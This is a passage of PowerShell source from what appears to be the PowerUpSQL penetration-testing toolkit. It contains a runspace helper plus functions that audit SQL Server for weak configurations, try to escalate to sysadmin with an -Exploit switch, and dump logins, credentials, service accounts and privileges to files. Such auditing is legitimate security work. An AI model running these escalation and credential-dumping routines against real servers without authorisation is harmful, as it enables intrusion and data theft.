            if( $PSBoundParameters.ContainsKey('Parameter') )
            {
                $ParamsToAdd += '$Parameter'
            }

            $UsingVariableData = $null
                

            # This code enables $Using support through the AST.
            # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe!
                
            if($PSVersionTable.PSVersion.Major -gt 2)
            {
                #Extract using references
                $UsingVariables = $ScriptBlock.ast.FindAll({
                        $args[0] -is [System.Management.Automation.Language.UsingExpressionAst]
                },$true)    

                If ($UsingVariables)
                {
                    $List = New-Object -TypeName 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]'
                    ForEach ($Ast in $UsingVariables)
                    {
                        [void]$List.Add($Ast.SubExpression)
                    }

                    $UsingVar = $UsingVariables |
                    Group-Object -Property SubExpression |
                    ForEach-Object -Process {
                        $_.Group |
                        Select-Object -First 1
                    }
        
                    #Extract the name, value, and create replacements for each
                    $UsingVariableData = ForEach ($Var in $UsingVar) 
                    {
                        Try
                        {
                            $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop
                            [pscustomobject]@{
                                Name       = $Var.SubExpression.Extent.Text
                                Value      = $Value.Value
                                NewName    = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath)
                                NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath)
                            }
                        }
                        Catch
                        {
                            Write-Error -Message "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!"
                        }
                    }
                    $ParamsToAdd += $UsingVariableData | Select-Object -ExpandProperty NewName -Unique

                    $NewParams = $UsingVariableData.NewName -join ', '
                    $Tuple = [Tuple]::Create($List, $NewParams)
                    $bindingFlags = [Reflection.BindingFlags]'Default,NonPublic,Instance'
                    $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags))
        
                    $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple))

                    $ScriptBlock = [scriptblock]::Create($StringScriptBlock)

                    #Write-Verbose $StringScriptBlock
                }
            }
                
            $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ', '))`r`n" + $ScriptBlock.ToString())
        }
        else
        {
            Throw 'Must provide ScriptBlock or ScriptFile'
            Break
        }

        Write-Debug -Message "`$ScriptBlock: $($ScriptBlock | Out-String)"
        Write-Verbose -Message 'Creating runspace pool and session states'


        #If specified, add variables and modules/snapins to session state
        $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
        if ($ImportVariables)
        {
            if($UserVariables.count -gt 0)
            {
                foreach($Variable in $UserVariables)
                {
                    $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) )
                }
            }
        }
        if ($ImportModules)
        {
            if($UserModules.count -gt 0)
            {
                foreach($ModulePath in $UserModules)
                {
                    $sessionstate.ImportPSModule($ModulePath)
                }
            }
            if($UserSnapins.count -gt 0)
            {
                foreach($PSSnapin in $UserSnapins)
                {
                    [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null)
                }
            }
        }

        # --------------------------------------------------
        #region - Import Session Functions
        # --------------------------------------------------
        # Import functions from the current session into the RunspacePool sessionstate

        if($ImportSessionFunctions)
        {
            # Import all session functions into the runspace session state from the current one
            Get-ChildItem -Path Function:\ |
            Where-Object -FilterScript {
                $_.name -notlike '*:*'
            } |
            Select-Object -Property name -ExpandProperty name |
            ForEach-Object -Process {
                # Get the function code
                $Definition = Get-Content -Path "function:\$_" -ErrorAction Stop

                # Create a sessionstate function with the same name and code
                $SessionStateFunction = New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "$_", $Definition

                # Add the function to the session state
                $sessionstate.Commands.Add($SessionStateFunction)
            }
        }
        #endregion

        #Create runspace pool
        $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host)
        $runspacepool.Open() 

        #Write-Verbose "Creating empty collection to hold runspace jobs"
        $Script:runspaces = New-Object -TypeName System.Collections.ArrayList        
        
        #If inputObject is bound get a total count and set bound to true
        $bound = $PSBoundParameters.keys -contains 'InputObject'
        if(-not $bound)
        {
            [System.Collections.ArrayList]$allObjects = @()
        }

        <#
                #Set up log file if specified
                if( $LogFile ){
                New-Item -ItemType file -path $logFile -force | Out-Null
                ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile
                }
 
                #write initial log entry
                $log = "" | Select Date, Action, Runtime, Status, Details
                $log.Date = Get-Date
                $log.Action = "Batch processing started"
                $log.Runtime = $null
                $log.Status = "Started"
                $log.Details = $null
                if($logFile) {
                ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append
                }
        #>
        $timedOutTasks = $false

        #endregion INIT
    }

    Process {

        #add piped objects to all objects or set all objects to bound input object parameter
        if($bound)
        {
            $allObjects = $InputObject
        }
        Else
        {
            [void]$allObjects.add( $InputObject )
        }
    }

    End {
        
        #Use Try/Finally to catch Ctrl+C and clean up.
        Try
        {
            #counts for progress
            $totalCount = $allObjects.count
            $script:completedCount = 0
            $startedCount = 0

            foreach($object in $allObjects)
            {
                #region add scripts to runspace pool
                    
                #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters
                $powershell = [powershell]::Create()
                    
                if ($VerbosePreference -eq 'Continue')
                {
                    [void]$powershell.AddScript({
                            $VerbosePreference = 'Continue'
                    })
                }

                [void]$powershell.AddScript($ScriptBlock).AddArgument($object)

                if ($Parameter)
                {
                    [void]$powershell.AddArgument($Parameter)
                }

                # $Using support from Boe Prox
                if ($UsingVariableData)
                {
                    Foreach($UsingVariable in $UsingVariableData) 
                    {
                        #Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)"
                        [void]$powershell.AddArgument($UsingVariable.Value)
                    }
                }

                #Add the runspace into the powershell instance
                $powershell.RunspacePool = $runspacepool
    
                #Create a temporary collection for each runspace
                $temp = '' | Select-Object -Property PowerShell, StartTime, object, Runspace
                $temp.PowerShell = $powershell
                $temp.StartTime = Get-Date
                $temp.object = $object
    
                #Save the handle output when calling BeginInvoke() that will be used later to end the runspace
                $temp.Runspace = $powershell.BeginInvoke()
                $startedCount++

                #Add the temp tracking info to $runspaces collection
                #Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() )
                $null = $runspaces.Add($temp)
            
                #loop through existing runspaces one time
                Get-RunspaceData

                #If we have more running than max queue (used to control timeout accuracy)
                #Script scope resolves odd PowerShell 2 issue
                $firstRun = $true
                while ($runspaces.count -ge $script:MaxQueue) 
                {
                    #give verbose output
                    if($firstRun)
                    {
                        #Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit."
                    }
                    $firstRun = $false
                    
                    #run get-runspace data and sleep for a short while
                    Get-RunspaceData
                    Start-Sleep -Milliseconds $SleepTimer
                }

                #endregion add scripts to runspace pool
            }
                     
            #Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) )
            Get-RunspaceData -wait

            if (-not $Quiet) 
            {
                Write-Progress -Activity 'Running Query' -Status 'Starting threads' -Completed
            }
        }
        Finally
        {
            #Close the runspace pool, unless we specified no close on timeout and something timed out
            if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($NoCloseOnTimeout -eq $false) ) ) 
            {
                Write-Verbose -Message 'Closing the runspace pool'
                $runspacepool.close()
            }

            #collect garbage
            [gc]::Collect()
        }       
    }
}



#endregion

#########################################################################
#
#region Primary FUNCTIONs
# Invoke-SQLDump, Invoke-SQLAudit, Invoke-SQLEscalatePriv
#
#########################################################################

# ----------------------------------
# Invoke-SQLAudit
# ----------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAudit 
{
    <#
            .SYNOPSIS
            Audit for high impact weak configurations by running all privilege escalation checks.
            Note: Use the Exploit flag to attempt to obtain sysadmin privileges.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER NoOutput
            Don't output anything.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .PARAMETER OutFolder
            Folder to write results to csv.
            .EXAMPLE
            PS C:\> Invoke-SQLAudit -Instance SQLServer1\STANDARDDEV2014 -user evil -Password Password123!
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : PERMISSION - IMPERSONATE LOGIN
            Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.
            Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON
            Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]
            Severity : High
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : No
            ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit
            Details : evil can impersonate the sa SYSADMIN login. This test was ran with the evil login.
            Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
 
            [TRUNCATED]
            .EXAMPLE
            PS C:\> Invoke-SQLAudit -Instance SQLServer1\STANDARDDEV2014 -user evil -Password Password123! -Exploit
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : PERMISSION - IMPERSONATE LOGIN
            Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.
            Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON
            Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]
            Severity : High
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : Yes
            ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit
            Details : evil can impersonate the sa SYSADMIN login. This test was ran with the evil login.
            Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Invoke-SQLAudit -Instance SQLServer1\STANDARDDEV2014 -user evil -Password Password123! -OutFolder c:\temp
 
            [TRUNCATED]
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [switch]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit,
       
       [Parameter(Mandatory = $false,
        HelpMessage = 'Folder to write results to csv.')]
       [string]$OutFolder
    )

    Begin
    {
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')       
        
        # Table for escalation functions
        $TblVulnFunc = New-Object -TypeName System.Data.DataTable 
        $null = $TblVulnFunc.Columns.Add('FunctionName')
        $null = $TblVulnFunc.Columns.Add('Type')
        $TblVulnFunc.Clear()    

        Write-Verbose -Message 'LOADING VULNERABILITY CHECKS.'
        
        # Load list of vulnerability check functions - Server / database
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditWeakLoginPw','Server') 
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivImpersonateLogin','Server')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivServerLink','Server')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivTrustworthy','Database')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivDbChaining','Database')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivCreateProcedure','Database')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivXpDirtree','Database')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivXpFileexist','Database')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditRoleDbDdlAdmin','Database')
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditRoleDbOwner','Database')                
        $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditSampleDataByColumn','Database')               

        Write-Verbose -Message 'RUNNING VULNERABILITY CHECKS.'
    }

    Process
    {              
        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            Return
        }

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Status user
        Write-Verbose -Message "$Instance : RUNNING VULNERABILITY CHECKS..."        

        # Iterate through each function
        $TblVulnFunc | 
        ForEach-Object -Process {
            # Get function name
            $FunctionName = $_.FunctionName

            # Run function
            if($Exploit)
            {
                $TblTemp = Invoke-Expression -Command "$FunctionName -Instance '$Instance' -Username '$Username' -Password '$Password' -Exploit"
            }
            else
            {
                $TblTemp = Invoke-Expression -Command "$FunctionName -Instance '$Instance' -Username '$Username' -Password '$Password'"
            }

            # Append function output to results table
            $TblData = $TblData + $TblTemp
        }

        # Status user
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK."
    }
        
    End
    {
        # Status user
        Write-Verbose -Message 'COMPLETED ALL VULNERABILITY CHECKS.'

        # Setup output directory and write results
        if($OutFolder)
        {
            $OutFolderCmd = "echo test > $OutFolder\test.txt"
            $CheckAccess = (Invoke-Expression -Command $OutFolderCmd) 2>&1
            if($CheckAccess -like '*denied.')
            {
                Write-Verbose -Object 'Access denied to output directory.'
                Return  
            }else{
                Write-Verbose -Message 'Verified write access to output directory.'
                $RemoveCmd = "del $OutFolder\test.txt"
                Invoke-Expression -Command $RemoveCmd
                $OutPutInstance = $Instance.Replace('\','-').Replace(',','-')                
                $OutPutPath = "$OutFolder\"+'PowerUpSQL_Audit_Results_'+$OutPutInstance+'.csv'
                $OutPutInstance
                $OutPutPath
                $TblData  | Export-Csv -NoTypeInformation $OutPutPath 
            }
        } 

        # Return full results table
        if ( -not $NoOutput)
        {             
            Return $TblData            
        }            
    }
}


# ----------------------------------
# Invoke-SQLEscalatePriv
# ----------------------------------
# Author: Scott Sutherland
Function Invoke-SQLEscalatePriv 
{
    <#
            .SYNOPSIS
            This function can be used to attempt to obtain sysadmin privileges via identify vulnerabilities.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .EXAMPLE
            PS C:\> Invoke-SQLEscalatePriv -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123!
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance
    )

    Begin
    {
    }

    Process
    {              
        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            Return
        }

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Check for sysadmin
        Write-Verbose -Message "$Instance : Checking if you're already a sysadmin..."        
        $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
        if($IsSysadmin -eq 'Yes')
        {
            Write-Verbose -Message "$Instance : You are, so nothing to do here. :)"
        }
        else
        {
            Write-Verbose -Message "$Instance : You're not a sysadmin, attempting to change that..."
            Invoke-SQLAudit -Instance $Instance -Username $Username -Password $Password -Credential $Credential -NoOutput -Exploit
            
            # Check for sysadmin again
            $IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin                           
            if($IsSysadmin2 -eq 'Yes')
            {
                Write-Verbose -Message "$Instance : Success! You are now a sysadmin!"
            }
            else
            {
                Write-Verbose -Message "$Instance : Fail. We couldn't get you sysadmin access today."
            }            
        }
    }
        
    End
    { 
    }
}

# ----------------------------------
# Invoke-SQLDumpInfo
# ----------------------------------
# Author: Scott Sutherland
Function Invoke-SQLDumpInfo
{
    <#
            .SYNOPSIS
            This function can be used to attempt to obtain sysadmin privileges via identify vulnerabilities. It supports both csv and xml output.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER XML
            Generate xml output instead of csv.
            .PARAMETER OutFolder
            Output to a specific path instead of the current directory.
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Invoke-SQLDumpInfo -Verbose
            .EXAMPLE
            PS C:\> Invoke-SQLDumpInfo -Verobse -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123!
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Folder to write output to.')]
        [string]$OutFolder,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Write output to xml files.')]
        [switch]$xml,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Write output to csv files.')]
        [switch]$csv
    )

    Begin
    {
        # Setup output directory
        if($OutFolder)
        {
            $OutFolderCmd = "echo test > $OutFolder\test.txt"
        }
        else
        {
            $OutFolder = '.'
            $OutFolderCmd = "echo test > $OutFolder\test.txt"             
        }

        # Create output folder
        $CheckAccess = (Invoke-Expression -Command $OutFolderCmd) 2>&1
        if($CheckAccess -like '*denied.')
        {
            Write-Host -Object 'Access denied to output directory.'
            Return  
        }
        else
        {
            Write-Verbose -Message 'Verified write access to output directory.'
            $RemoveCmd = "del $OutFolder\test.txt"
            Invoke-Expression -Command $RemoveCmd
        }  
    }

    Process
    {              
        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            Return
        }

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }       
        
        Write-Verbose -Message "$Instance - START..."
        $OutPutInstance = $Instance.Replace('\','-').Replace(',','-')
                
        # Getting Databases
        Write-Verbose -Message "$Instance - Getting non-default databases..."
        $Results = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Databases.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Databases.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }
             
        # Getting DatabaseUsers
        Write-Verbose -Message "$Instance - Getting database users for databases..."        
        $Results = Get-SQLDatabaseUser -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }
                               
        # Getting DatabasePrivs
        Write-Verbose -Message "$Instance - Getting privileges for databases..."
        $Results = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_privileges.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_privileges.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }
        
        # Getting DatabaseRoles
        Write-Verbose -Message "$Instance - Getting database roles..."
        $Results = Get-SQLDatabaseRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_roles.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_roles.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }
        
        # Getting DatabaseRoleMembers
        Write-Verbose -Message "$Instance - Getting database role members..."
        $Results = Get-SQLDatabaseRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_role_members.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_role_members.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }

        # Getting DatabaseTables
        Write-Verbose -Message "$Instance - Getting database schemas..."
        $Results = Get-SQLDatabaseSchema -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_schemas.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_schemas.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }        

        # Getting DatabaseTables
        Write-Verbose -Message "$Instance - Getting database tables..."
        $Results = Get-SQLTable -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_tables.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_tables.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }
        
        # Getting DatabaseViews
        Write-Verbose -Message "$Instance - Getting database views..."
        $Results = Get-SQLView -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_views.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_views.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }

        # Getting Database Tables
        Write-Verbose -Message "$Instance - Getting database columns..."
        $Results = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_columns.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_columns.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }
        
        # Getting Server Logins
        Write-Verbose -Message "$Instance - Getting server logins..."
        $Results = Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_logins.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_logins.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }   
        
        # Getting Server Logins
        Write-Verbose -Message "$Instance - Getting server configuration settings..."
        $Results = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }                   
        
        # Getting Server Privs
        Write-Verbose -Message "$Instance - Getting server privileges..."
        $Results = Get-SQLServerPriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose         
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_privileges.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_privileges.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }    
        
        # Getting Server Roles
        Write-Verbose -Message "$Instance - Getting server roles..."
        $Results = Get-SQLServerRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose         
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_roles.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_roles.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }    
        
        # Getting Server Role Members
        Write-Verbose -Message "$Instance - Getting server role members..."
        $Results = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose         
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_rolemembers.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_rolemembers.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }    
        
        # Getting Server Links
        Write-Verbose -Message "$Instance - Getting server links..."
        $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose         
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }    
        
        # Getting Server Credentials
        Write-Verbose -Message "$Instance - Getting server credentials..."
        $Results = Get-SQLServerCredential -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose         
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_credentials.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_credentials.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }    
        
        # Getting Service Accounts
        Write-Verbose -Message "$Instance - Getting SQL Server service accounts..."
        $Results = Get-SQLServiceAccount -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Service_accounts.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Service_accounts.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }    
        
        # Getting Stored Procedures
        Write-Verbose -Message "$Instance - Getting stored procedures..."
        $Results = Get-SQLStoredProcedure -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_stored_procedure.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
